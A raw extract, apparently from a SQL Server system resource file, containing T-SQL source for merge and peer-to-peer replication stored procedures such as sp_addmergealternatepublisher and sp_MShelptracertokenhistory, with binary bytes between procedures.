			@rowguidstr + ''' ) exec sys.sp_MSdummyupdate ''' + @rowguidstr + ''',' + @tablenickstr + ', 2')

		/* 
		** If the row exists in the base table, but not in MSmerge_contents , call sp_MSdummyupdate with metadata_type = 3 (contents_deferred)
		*/
		exec ('if exists (select 1 from ' + @quoted_source_object + ' where rowguidcol = ''' +
			@rowguidstr + ''' ) and not exists (select rowguid from dbo.MSmerge_contents where rowguid = ''' +
			@rowguidstr + ''' ) exec sys.sp_MSdummyupdate ''' + @rowguidstr + ''',' + @tablenickstr + ', 3')
	end
	else
	begin
		declare @metatype tinyint
		declare @metatype_dummyupdate tinyint

		declare @METADATA_TYPE_Missing tinyint
		declare @METADATA_TYPE_Tombstone tinyint
		declare @METADATA_TYPE_Contents tinyint
		declare @METADATA_TYPE_ContentsDeferred tinyint
		declare @METADATA_TYPE_InsertLightweight tinyint
		declare @METADATA_TYPE_UpdateLightweight tinyint
		declare @METADATA_TYPE_DeleteLightweight tinyint
		declare @METADATA_TYPE_UpsertLightweightProcessed tinyint
		declare @METADATA_TYPE_DeleteLightweightProcessed tinyint

		declare @METADATA_ACTION_Default tinyint

		select @metatype= changetype from dbo.MSmerge_rowtrack
			where tablenick=@tablenick and rowguid=@rowguid

		set @METADATA_TYPE_Missing= 0
		set @METADATA_TYPE_Tombstone= 1
		set @METADATA_TYPE_Contents= 2
		set @METADATA_TYPE_ContentsDeferred= 3
		set @METADATA_TYPE_InsertLightweight= 7 
		set @METADATA_TYPE_UpdateLightweight= 8
		set @METADATA_TYPE_DeleteLightweight= 10
		set @METADATA_TYPE_UpsertLightweightProcessed= 11
		set @METADATA_TYPE_DeleteLightweightProcessed= 12

		set @METADATA_ACTION_Default= 0

		if @metatype=@METADATA_TYPE_DeleteLightweight
		begin
			-- If the metatype expresses an unprocessed delete, just make sure the delete
			-- does not look as if it is already being uploaded.

			update dbo.MSmerge_rowtrack
				set sync_cookie= null
				where tablenick=@tablenick and rowguid=@rowguid

			return 0
		end
		else if @metatype in (@METADATA_TYPE_InsertLightweight,
						 @METADATA_TYPE_UpdateLightweight,
						 @METADATA_TYPE_UpsertLightweightProcessed)
		begin
			-- The metatype expresses a processed or unprocessed change; make sure the entire 
			-- row will be resent.
			set @metatype_dummyupdate= @METADATA_TYPE_Contents
		end
		else if @metatype=@METADATA_TYPE_DeleteLightweightProcessed
		begin
			-- Make sure the delete will be resent.
			set @metatype_dummyupdate= @METADATA_TYPE_Tombstone
		end
		else
		begin
			-- Figure out whether the base data exists.
			declare @baserowexists bit
		    declare @procname	nvarchar(512)
		    declare @postfix	nchar(32)

			-- Take any multipurpose proc that exists for this article, regardless of the publication.
			select top 1 @postfix= procname_postfix
				from dbo.sysmergearticles 
				where nickname = @tablenick
			
			set @procname= quotename('MSmerge_lws_sp_multi_' + @postfix)

		    exec @retcode= @procname 
		    					@action= 5,
		    					@rowguid= @rowguid,
		    					@baserowexists= @baserowexists output
	    	if @@error <>0 or @retcode <> 0 return (1)

	    	if 1=@baserowexists
	    	begin
				-- The base row is here, but no metadata; make sure the entire 
				-- row will be resent.
				set @metatype_dummyupdate= @METADATA_TYPE_ContentsDeferred
			end
			else
			begin
	    		-- There is neither data nor metadata. Make sure the row will be deleted.
				set @metatype_dummyupdate= @METADATA_TYPE_Missing
			end
		end

		exec @retcode= sys.sp_MSdummyupdatelightweight
								@tablenick=	@tablenick, 
								@rowguid=	@rowguid, 
								@action=	@METADATA_ACTION_Default,
								@metatype=	@metatype_dummyupdate,
								@rowvector= null
		if @@error<>0 or @retcode<>0 return 1

		return 0
	end
!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<m<ccHE"3!0B3@ 88F@0_U7 8create procedure sys.sp_MSget_latest_peerlsn 
(
    @originator_publication sysname,
    @originator sysname,
    @originator_db sysname,
    @xact_seqno binary(10) output
)
as
begin
    declare @retcode int    

    --
    -- Security check
    --
    exec @retcode = sp_MSreplcheck_subscribe
    if @@error != 0 or @retcode != 0
        return 1

    select @xact_seqno = originator_lsn from MSpeer_lsns with (NOLOCK)
        where originator = UPPER(@originator) and
              originator_db = @originator_db and
              originator_publication = @originator_publication
    
    if @@error <> 0
        return(1)
    
    return 0
end
0A@ 8CREATE VIEW INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS
AS
SELECT
	DB_NAME()			AS CONSTRAINT_CATALOG,
	SCHEMA_NAME(o.schema_id)	AS CONSTRAINT_SCHEMA,
	o.name				AS CONSTRAINT_NAME,
	DB_NAME()			AS DOMAIN_CATALOG,
	SCHEMA_NAME(t.schema_id)	AS DOMAIN_SCHEMA,
	t.name				AS DOMAIN_NAME,
	'NO'				AS IS_DEFERRABLE,
	'NO'				AS INITIALLY_DEFERRED
FROM
	sys.types t
	JOIN sys.objects o ON o.object_id = t.rule_object_id
WHERE
	t.user_type_id > 256
0oC V8create procedure sys.sp_MSmerge_validate_publication_presence (
    @publication sysname,
    @dbname sysname,
    @servername sysname,
    @pubid uniqueidentifier output
) AS

    if (@publication is null)
    begin
        RAISERROR(14043, 16, -1, '@publication', 'sp_MSmerge_validate_publication_presence')
        return (1)
    end

    if @dbname is NULL
        select @dbname = db_name()

    if @servername is NULL
        select @servername = publishingservername()

    if @servername is NULL
        select @servername = @@servername

    /* If the database is being mirrored, then compare the publisher to @servername and to the partner server name */
    declare @mirroring_partner_instance sysname
    set @mirroring_partner_instance = NULL
    select @mirroring_partner_instance = mirroring_partner_instance from sys.database_mirroring where database_id = db_id(@dbname) 
    if @mirroring_partner_instance is not NULL
        begin
            select @pubid = pubid from dbo.sysmergepublications where name = @publication and (upper(publisher) = upper(@@servername) or (upper(publisher) = upper(@mirroring_partner_instance))) and publisher_db = @dbname
        end
    else
        begin
            select @pubid = pubid from dbo.sysmergepublications where name = @publication and upper(publisher) = upper(@servername) and publisher_db = @dbname
        end
    if @pubid is NULL
    begin
        if (is_member('db_owner') = 1)
        begin
            RAISERROR (20026, 16, -1, @publication)
            RETURN (1)
        end
        else
        begin
            RAISERROR (21423, 16, -1, @publication)
            RETURN (1)
        end
    end

    if {fn ISPALUSER(@pubid)} <> 1
    begin
        RAISERROR (21423, 16, -1, @publication)
        RETURN (1)
    end

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!?[`e<3dH+L0k F	8create procedure sys.sp_gettopologyinfo
(
	@request_id		int = NULL
)
as
begin

	declare @request_complete bit,
			@request_exists bit,
			@retcode		int

	exec @retcode = sys.sp_MSreplcheck_publish
	if @@error <> 0 or @retcode <> 0
	begin
		return 1
	end

	-- if no request_id is specified, get the most recent completed request
	if @request_id is NULL
	begin
		select @request_id = (select top 1 id
		 					from MSpeer_topologyrequest
		 					order by sent_date desc)

		 if @@error <> 0 or @request_id is NULL
		 begin
		 	return 1
		 end
	end
	-- otherwise, make sure that the specified request exists
	else
	begin
		select @request_exists = (select case when exists(select * 
											from MSpeer_topologyrequest
											where id = @request_id
											) then 0 else 1 end)

		if @@error <>0 or @request_exists <> 0
		begin
			return 1
		end
	end

	-- check to see if the request has been completed or not
	select @request_complete = (select case when exists(select * 
								from MSpeer_topologyresponse 
								where received_date is NULL
									and request_id = @request_id
								) then 1 else 0 end)

	-- format the xml nicely
	select * from
	(
		select 1 as Tag,
				NULL as Parent,
				sent_date as [TopologyInformation!1!RequestDate],
				NULL as [Publisher!2!!xmltext],
				NULL as [Publisher!2!ReceivedDate],
				NULL as [Publisher!2!Name],
				NULL as [Publisher!2!Database],
				NULL as [Publisher!2!Version],
				NULL as [Publisher!2!OriginatorId],
				NULL as [Publisher!2!ConflictRetention]
		from MSpeer_topologyrequest
		where id = @request_id
		union all
		select 2,1,
				sent_date,
				connection_info,
				received_date,
				peer,
				peer_db,
				cast(peer_version as nvarchar), -- cast(167773193 as nvarchar),
				cast(originator_id as nvarchar), -- cast(1 as nvarchar),
				cast(peer_conflict_retention as nvarchar) -- cast(60 as nvarchar)
		from MSpeer_topologyresponse join MSpeer_topologyrequest
			on id = request_id
		where id = @request_id
	) as universal_table
	order by [TopologyInformation!1!RequestDate],[Publisher!2!ReceivedDate],[Publisher!2!Name],[Publisher!2!Database]
	for xml explicit

	if @@error <>0
	begin
		return 1
	end

	if @request_complete <> 0
	begin
		return 2
	end
	
 	return 0
end
0@ 8create procedure sys.sp_addmergealternatepublisher (
	@publisher					sysname,					/* Publisher server */
	@publisher_db				sysname,					/* Publisher database */
	@publication				sysname,					/* Publication name */
	@alternate_publisher		sysname,					/* Alternate publisher */
	@alternate_publisher_db		sysname,					/* Alternate publisher_db */
	@alternate_publication		sysname,					/* Alternate publication */
	@alternate_distributor		sysname,					/* Alternate publisher's Distributor */
	@friendly_name				nvarchar(255)	= NULL,		/* Friendly Name for the association */
	@reserved					nvarchar(20) = NULL			/* Reserved param for internal use only */
	) AS

	SET NOCOUNT ON

	/*
	** Declarations.
	*/
	declare @retcode				int
	declare @pubid					uniqueidentifier
	declare @subid					uniqueidentifier
	declare @alternate_subid		uniqueidentifier
	declare @description			nvarchar(255)
	declare @allow_synctoalternate	bit
	declare @at_publisher			bit
	declare @subscriber_type		smallint

	set @at_publisher = 1
	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)
	
	/*
	** Select the subscription's pubid and subid
	*/
	select @pubid= pubid, @allow_synctoalternate= allow_synctoalternate
		from dbo.sysmergepublications	 
		where name = @publication and publisher_db = @publisher_db and LOWER(publisher) = LOWER(@publisher)

	if @pubid is NULL
	begin
		raiserror (20026, 11, -1, @publication)
		return (1)
	end

	/* If this is an external call, make the AtPublisher and allows syncto alternate  check */
	EXEC @retcode = sys.sp_MScheckatpublisher @pubid
	IF @@ERROR <> 0 or @retcode <>	0
		set @at_publisher = 0
		
	IF LOWER(@reserved collate SQL_Latin1_General_CP1_CS_AS) <> 'internal'
	begin
		IF @at_publisher = 0
		BEGIN
			RAISERROR (21215, 16, -1)
			RETURN (1)
		END
		if @allow_synctoalternate = 0
		begin
			raiserror (21502, 11, -1, @publication)
			return (1)
		end
	end

	-- this subid should really be equal to @pubid
	select @subid = subid from dbo.sysmergesubscriptions  
		where LOWER(subscriber_server) collate database_default = LOWER(@publisher) collate database_default and 
		db_name = @publisher_db and 
		pubid = @pubid and
		status <> 7 -- REPLICA_STATUS_BeforeRestore

    -- check if we know about the publication 
    -- we know of the publication if there is an entry in sysmergepublications corresponding to it
    -- the values of @alternate_subid should be same as 'alternate_pubid' in sysmergepublications
	select @alternate_subid = s.subid, @subscriber_type = s.subscriber_type 
	    from dbo.sysmergesubscriptions s, dbo.sysmergepublications p
		where p.name = @alternate_publication and
			  LOWER(p.publisher) collate database_default = LOWER(@alternate_publisher) collate database_default and 
			  p.publisher_db = @alternate_publisher_db and
			  p.pubid = s.pubid and
			  s.subid = s.pubid and
			  s.status <> 7 -- REPLICA_STATUS_BeforeRestore

	IF @subid is NULL or @alternate_subid IS NULL
	BEGIN
		RAISERROR(21216, 11, -1,  @alternate_publisher, @alternate_publisher_db, @alternate_publication)
		RETURN (1)
	END
	
	IF @subscriber_type	 <> 1
	BEGIN
		RAISERROR(21216, 11, -1,  @alternate_publisher, @alternate_publisher_db, @alternate_publication)
		RETURN (1)
	END

	IF @friendly_name IS NULL
	begin
		select @description = description from dbo.sysmergesubscriptions where subid = @alternate_subid
		if @description IS NULL
		begin
			select @description = formatmessage(21217, @alternate_publication, @alternate_publisher)
		end
			
	end				
	else
		select @description = @friendly_name

	if not exists (select * from dbo.MSmerge_altsyncpartners where subid = @subid and alternate_subid = @alternate_subid)
	begin
		insert into dbo.MSmerge_altsyncpartners(subid, alternate_subid, description)
			values(@subid, @alternate_subid, @description)
		if @@ERROR <> 0 GOTO FAILURE

        -- Update sysmergepublications entry for the alternate publisher, setting the allow_synctoalternate = 1 
		update dbo.sysmergepublications set allow_synctoalternate = 1 where pubid = @alternate_subid
		if @@ERROR <> 0 GOTO FAILURE

        -- do not update alternate distributor. We already have info about it in the sysmergepublications table
		--update dbo.sysmergesubscriptions set distributor = @alternate_distributor where subid = @alternate_subid
		--if @@ERROR <> 0 or @@ROWCOUNT <> 1 GOTO FAILURE
	end				

	if not exists (select * from dbo.MSmerge_altsyncpartners where subid = @alternate_subid and alternate_subid = @subid)
	begin
		insert into dbo.MSmerge_altsyncpartners(subid, alternate_subid, description)
			values(@alternate_subid, @subid, @description)
		if @@ERROR <> 0 GOTO FAILURE
	end				
	return (0)

FAILURE:

	RAISERROR(21243, 11, -1,  @alternate_publisher, @alternate_publisher_db, @alternate_publication)
	RETURN (1)
	
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!	`d<IeH&ծV0+, 8CREATE PROCEDURE sys.sp_MSprofile_in_use 
(
    @tablename          nvarchar(255),
    @profile_id int
)
AS
begin
    DECLARE @usage_count int

    --
    -- security check
    -- only db_owner can execute this
    --
    if (is_member ('db_owner') != 1) 
    begin
        raiserror(14260, 16, -1)
        return (1)
    end

    IF @tablename IS NULL OR @profile_id IS NULL
        return 1 ;

    IF @tablename = 'MSsnapshot_agents'
        SELECT @usage_count = count(*) FROM MSsnapshot_agents
        WHERE profile_id = @profile_id
    ELSE IF @tablename = 'MSlogreader_agents'
            SELECT @usage_count = count(*) FROM MSlogreader_agents
            WHERE profile_id = @profile_id
        ELSE IF @tablename = 'MSdistribution_agents'
                SELECT @usage_count = count(*) FROM MSdistribution_agents
                WHERE profile_id = @profile_id
            ELSE IF @tablename = 'MSmerge_agents'
                    SELECT @usage_count = count(*) FROM dbo.MSmerge_agents 
                    WHERE profile_id = @profile_id
                ELSE 
                    SELECT @usage_count = 0

    IF @usage_count = 0
        RETURN -1
    ELSE
        RETURN 0
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	<f]O@<2	0@0 	8--
-- Name: 
--	sp_MSreplclosesymmetrickey
-- 
-- Description: 
--	Closes the replication symmetric keys if available
--
-- Parameters: 
--	See the procedure definition.
--
-- Returns: 
--	0 - On Success
--	1 - On Failure
--
-- Result: 
--	None
--
-- Security: 
--	None as this procedure is not public.
--
CREATE PROCEDURE sys.sp_MSreplclosesymmetrickey
AS
BEGIN
	DECLARE @retcode int
	
	IF NOT EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = '##MS_DatabaseMasterKey##')
	BEGIN
		RETURN 0
	END
	
	IF EXISTS(SELECT *
					FROM sys.symmetric_keys 
					WHERE name = 'SQLSERVER_REPLICATION')
	BEGIN
		CLOSE SYMMETRIC KEY SQLSERVER_REPLICATION
		IF @@ERROR <> 0 RETURN 1
	END

	RETURN 0
END
0}4 D8fhh+0E+6 8
--
-- Name: 
--		sp_MShelptracertokenhistory
-- 
-- Description: 
--		This procedure is used by the UI to retrieve the tracer token history.
--		Calculates and returns a list of the subscribers, the distribution_latency,
--		subscriber_latency and the overall_latency. NULL is used for any latency
--		statistic that can not be calculated due to insufficient data (such as 
--		a tracer record not having arrived at the subscriber). Values are in seconds.
--  
-- Parameters: 
--		@publisher		sysname
--		@publisher_db	sysname
--		@publication	sysname
--		@tracer_id		varchar(22) 	lsn of the tracer record to return history for
--											
--
-- Returns: 
--		0 - succeeded
--      1 - failed
--
-- Result: 
--		(see description)
--
-- Security: 
--		DBO of distribution db (used by the UI)
-- Requires Certificate signature for catalog access
--
create procedure sys.sp_MShelptracertokenhistory
(
	@publisher		sysname,
	@publisher_db	sysname,
	@publication	sysname,
	@tracer_id		int
)
as
begin
	declare @retcode 				int,
			@publication_id			int,
			@distributor_latency	bigint,
			@subscriber_latency		bigint,
			@overall_latency		bigint,
			@publisher_commit		datetime,
			@distributor_commit		datetime,
			@subscriber				sysname,
			@subscriber_db			sysname,
			@subscriber_commit		datetime,
			@distribution_db		sysname

	declare @tracer_history table(distributor_latency bigint, subscriber sysname, subscriber_db sysname, subscriber_latency bigint, overall_latency bigint)

	select @distribution_db = db_name()
	
	--
	-- security check.
	-- User must be member of 'replmonitor' role in distribution database.
	--
	exec @retcode = sys.sp_MSrepl_DistributorReplMonitorAccess @distribution_db = @distribution_db
	if @retcode != 0 or @@error != 0
	    return 1

	-- Has to be executed from distribution database
	if sys.fn_MSrepl_isdistdb (@distribution_db) != 1
	begin
		-- sp_MSispeertopeeragent can only be executed in the distribution database.
		raiserror (21482, 16, -1, 'sp_MShelptracertokens', 'distribution')
		return 1
	end
	
	-- check to see if the publication exists
	select @publication_id = msp.publication_id
		from dbo.MSpublications msp
			join sys.servers ss
				on msp.publisher_id = ss.server_id
		where UPPER(ss.name) = UPPER(@publisher)
			and msp.publisher_db = @publisher_db
			and msp.publication = @publication

	if @publication_id is NULL
	begin
		-- Publication 'publication' does not exist.
		raiserror(21200, 16, -1, @publication)
		return 1
	end
	
	select @publisher_commit = publisher_commit,
			@distributor_commit = distributor_commit
		from MStracer_tokens
		where publication_id = @publication_id
			and tracer_id = @tracer_id
	
	-- the publisher commit should never be null
	-- if we have a valid parent tracer LSN
	if @publisher_commit is NULL
	begin
		-- The tracer token id (%d) could not be found for publisher:%s, database:%s, publication:%s.
		raiserror(20688, 16, -1, @tracer_id, @publisher, @publisher_db, @publication)
		return 1
	end
	
	-- calculate the distributor latency
	select @distributor_latency = datediff(ss, @publisher_commit, @distributor_commit)

	-- gather remaining latency information
	declare tracer_history_cursor cursor fast_forward for
		select distinct syss.name,
				msda.subscriber_db,
				msth.subscriber_commit
			from MStracer_history msth
				join MSdistribution_agents msda
					on msth.agent_id = msda.id
				join sys.servers syss
					on msda.subscriber_id = syss.server_id
			where msth.parent_tracer_id = @tracer_id
	
	open tracer_history_cursor

	fetch next from tracer_history_cursor into @subscriber, @subscriber_db, @subscriber_commit
	while (@@fetch_status <> -1)
	begin
		-- calculate the subscriber latency
		select @subscriber_latency = datediff(ss, @distributor_commit, @subscriber_commit)
		
		-- calculate the overall latency
		select @overall_latency = @distributor_latency + @subscriber_latency
		
		-- add history row to the temp table
		insert into @tracer_history 
		(
			distributor_latency, 
			subscriber, 
			subscriber_db, 
			subscriber_latency,
			overall_latency
		)
		values 
		(
			@distributor_latency, 
			@subscriber, 
			@subscriber_db, 
			@subscriber_latency,
			@overall_latency
		)

		fetch next from tracer_history_cursor into @subscriber, @subscriber_db, @subscriber_commit
	end

	close tracer_history_cursor
	deallocate tracer_history_cursor
	
	-- return the tracer history information
	select distributor_latency, 
			subscriber, 
			subscriber_db, 
			subscriber_latency,
			overall_latency
		from @tracer_history
		order by overall_latency desc, 
				subscriber_latency desc, 
				distributor_latency desc
	
	return 0
end
07 {8create procedure sys.sp_MScheck_article_order @pubid uniqueidentifier
as
    declare @objid int
    declare @nickname int
    declare @artname sysname
    declare @processing_order int
    
    select top 1 @artname = name, @objid = objid, @nickname = nickname, @processing_order = processing_order
    from dbo.sysmergearticles 
    where pubid = @pubid 
    order by processing_order, nickname
    
    while @objid is not NULL
    begin
        if exists (select * from sys.foreign_key_columns 
                    where parent_object_id = @objid 
                    and referenced_object_id in 
                        (select objid from dbo.sysmergearticles 
                        where pubid = @pubid 
                        and (
                                (processing_order = @processing_order and nickname > @nickname) 
                                or 
                                processing_order > @processing_order
                            )
                        )
                    )
        begin
            RAISERROR(20637, 10, -1, @artname)
            goto Finish
        end
        
        select @objid = NULL
        select @artname = name, @objid = objid, @nickname = nickname, @processing_order = processing_order
        from dbo.sysmergearticles 
        where pubid = @pubid 
        and (
                (processing_order = @processing_order and nickname > @nickname) 
                or 
                processing_order > @processing_order
            )
        order by processing_order, nickname
    end
Finish:
    return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!i`bY<jgHĠۦ0> 48create procedure sys.sp_dropmergealternatepublisher (
	@publisher					sysname,					/* Publisher server */
	@publisher_db				sysname,					/* Publisher database */
	@publication				sysname,					/* Publication name */
	@alternate_publisher		sysname,					/* Alternate publisher */
	@alternate_publisher_db		sysname,					/* Alternate publisher_db */
	@alternate_publication		sysname						/* Alternate publication */
	) AS

	SET NOCOUNT ON
	declare @retcode				int
	declare @subid					uniqueidentifier
	declare @alternate_subid		uniqueidentifier
	declare @pubid                  uniqueidentifier
	
	/*
	** Security Check
	*/
	EXEC @retcode = sys.sp_MSreplcheck_publish
	IF @@ERROR <> 0 or @retcode <> 0
		return (1)

	/* Check is there is an invalid attempt to drop the default publiser/publisher_db/publication */
	if (LOWER(@publisher) = LOWER(@alternate_publisher)) AND
		(@publisher_db = @alternate_publisher_db) AND
		(@publication = @alternate_publication)
		begin
			RAISERROR(21252, 11, -1,  @alternate_publisher, @alternate_publisher_db, @alternate_publication)
			return (1)
		end

	/*
	** Select the main publication's pubid and subid
	*/
	select @pubid = pubid from dbo.sysmergepublications	 
				where name = @publication and
					LOWER(publisher collate database_default) = LOWER(@publisher collate database_default) and
					publisher_db = @publisher_db
	if @pubid is NULL
	begin
		raiserror (20026, 11, -1, @publication)
		return (1)
	end
	
	-- this subid should really be equal to @pubid
	select @subid = subid from dbo.sysmergesubscriptions  
		where LOWER(subscriber_server) collate database_default = LOWER(@publisher) collate database_default and 
		db_name = @publisher_db and 
		pubid = @pubid and
		status <> 7 -- REPLICA_STATUS_BeforeRestore

    -- check if we know about the publication 
    -- we know of the publication if there is an entry in sysmergepublications corresponding to it
    -- the values of @alternate_subid should be same as 'alternate_pubid' in sysmergepublications
	select @alternate_subid = s.subid
	    from dbo.sysmergesubscriptions s, dbo.sysmergepublications p
		where p.name = @alternate_publication and
			  LOWER(p.publisher) collate database_default = LOWER(@alternate_publisher) collate database_default and 
			  p.publisher_db = @alternate_publisher_db and
			  p.pubid = s.pubid and
			  s.subid = s.pubid and
			  s.status <> 7 -- REPLICA_STATUS_BeforeRestore
	IF @subid is NULL or @alternate_subid IS NULL
	BEGIN
		RAISERROR(21216, 11, -1,  @alternate_publisher, @alternate_publisher_db, @alternate_publication)
		RETURN (1)
	END

	if exists (select * from MSmerge_altsyncpartners where subid = @subid and alternate_subid = @alternate_subid)
	begin
		delete from MSmerge_altsyncpartners where @subid = subid and alternate_subid = @alternate_subid
		if @@ERROR <> 0 or @@rowcount <> 1
		BEGIN
			GOTO FAILURE
		END
	end				
	return (0)

FAILURE:
	RAISERROR(21251, 11,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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!